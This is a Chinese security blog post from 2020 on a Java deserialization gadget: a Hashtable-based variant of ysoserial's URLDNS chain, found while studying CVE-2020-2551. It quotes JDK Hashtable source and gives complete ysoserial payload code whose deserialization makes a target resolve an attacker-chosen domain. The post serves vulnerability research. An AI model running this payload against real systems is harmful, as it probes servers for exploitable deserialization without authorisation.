【鸡肋】URLDNS2的反序列化发现

今天在公司分析cve-2020-2551漏洞的时候,发现了一个新的类,叫hashtable。

 

看了下,实现了Serializable的接口,说明这个类是可以序列化的。符合pop链的条件之一。

接下来看下hashtable的readobject方法:

 1 private void readObject(java.io.ObjectInputStream s)
 2          throws IOException, ClassNotFoundException
 3     {
 4         // Read in the threshold and loadFactor
 5         s.defaultReadObject();
 6 
 7         // Validate loadFactor (ignore threshold - it will be re-computed)
 8         if (loadFactor <= 0 || Float.isNaN(loadFactor))
 9             throw new StreamCorruptedException("Illegal Load: " + loadFactor);
10 
11         // Read the original length of the array and number of elements
12         int origlength = s.readInt();
13         int elements = s.readInt();
14 
15         // Validate # of elements
16         if (elements < 0)
17             throw new StreamCorruptedException("Illegal # of Elements: " + elements);
18 
19         // Clamp original length to be more than elements / loadFactor
20         // (this is the invariant enforced with auto-growth)
21         origlength = Math.max(origlength, (int)(elements / loadFactor) + 1);
22 
23         // Compute new length with a bit of room 5% + 3 to grow but
24         // no larger than the clamped original length.  Make the length
25         // odd if it's large enough, this helps distribute the entries.
26         // Guard against the length ending up zero, that's not valid.
27         int length = (int)((elements + elements / 20) / loadFactor) + 3;
28         if (length > elements && (length & 1) == 0)
29             length--;
30         length = Math.min(length, origlength);
31 
32         if (length < 0) { // overflow
33             length = origlength;
34         }
35 
36         // Check Map.Entry[].class since it's the nearest public type to
37         // what we're actually creating.
38         SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);
39         table = new Entry<?,?>[length];
40         threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
41         count = 0;
42 
43         // Read the number of elements and then all the key/value objects
44         for (; elements > 0; elements--) {
45             @SuppressWarnings("unchecked")
46                 K key = (K)s.readObject();
47             @SuppressWarnings("unchecked")
48                 V value = (V)s.readObject();
49             // sync is eliminated for performance
50             reconstitutionPut(table, key, value);
51         }
52     }

 

和hashmap很像,实际上hashmap和hashtable作用真的很像,导致他们的代码内部也很像。根据hashmap的经验,去追了一下reconstitutionPut方法,

 1     private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
 2         throws StreamCorruptedException
 3     {
 4         if (value == null) {
 5             throw new java.io.StreamCorruptedException();
 6         }
 7         // Makes sure the key is not already in the hashtable.
 8         // This should not happen in deserialized version.
 9         int hash = key.hashCode();
10         int index = (hash & 0x7FFFFFFF) % tab.length;
11         for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
12             if ((e.hash == hash) && e.key.equals(key)) {
13                 throw new java.io.StreamCorruptedException();
14             }
15         }
16         // Creates the new entry.
17         @SuppressWarnings("unchecked")
18             Entry<K,V> e = (Entry<K,V>)tab[index];
19         tab[index] = new Entry<>(hash, key, value, e);
20         count++;
21     }

发现了int hash = key.hashCode();说明hashtable下面的key也是会进行hashCode()的操作,和hashmap的URLDNS链异曲同工,那么就简单了,URLDNS2的改写就很简单,直接把hashmap类改成hashtable即可。

源码如下:

 1 package ysoserial.payloads;
 2 
 3 import ysoserial.payloads.annotation.Authors;
 4 import ysoserial.payloads.annotation.Dependencies;
 5 import ysoserial.payloads.annotation.PayloadTest;
 6 import ysoserial.payloads.util.PayloadRunner;
 7 import ysoserial.payloads.util.Reflections;
 8 
 9 import java.io.IOException;
10 import java.net.InetAddress;
11 import java.net.URL;
12 import java.net.URLConnection;
13 import java.net.URLStreamHandler;
14 import java.util.Hashtable;
15 
16 @SuppressWarnings({ "rawtypes", "unchecked" })
17 @PayloadTest(skip = "true")
18 @Dependencies()
19 @Authors({ Authors.GEBL })
20 public class URLNDS2 implements ObjectPayload<Object> {
21     @Override
22     public Object getObject( final String url1) throws Exception {
23         String url = "https://3.s.xxx.com";
24         //Avoid DNS resolution during payload creation
25         //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
26         URLStreamHandler handler = new URLDNS.SilentURLStreamHandler();
27 
28         Hashtable ht = new Hashtable(); // HashMap that will contain the URL
29         URL u = new URL(null, url, handler); // URL to use as the Key
30         ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
31 
32         Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
33 
34         return ht;
35     }
36 
37     public static void main(final String[] args) throws Exception {
38         PayloadRunner.run(URLNDS2.class, args);
39     }
40 
41     /**
42      * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
43      * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
44      * using the serialized object.</p>
45      *
46      * <b>Potential false negative:</b>
47      * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
48      * second resolution.</p>
49      */
50     static class SilentURLStreamHandler extends URLStreamHandler {
51         protected URLConnection openConnection(URL u) throws IOException {
52             return null;
53         }
54 
55         protected synchronized InetAddress getHostAddress(URL u) {
56             return null;
57         }
58     }
59 }

 

URL实例还是作为触发hashtable的hashCode存在。

run 跑一下:

成功收到dns记录。

 

 

posted @ 2020-04-21 22:55  ph4nt0mer  阅读(117)  评论(0编辑  收藏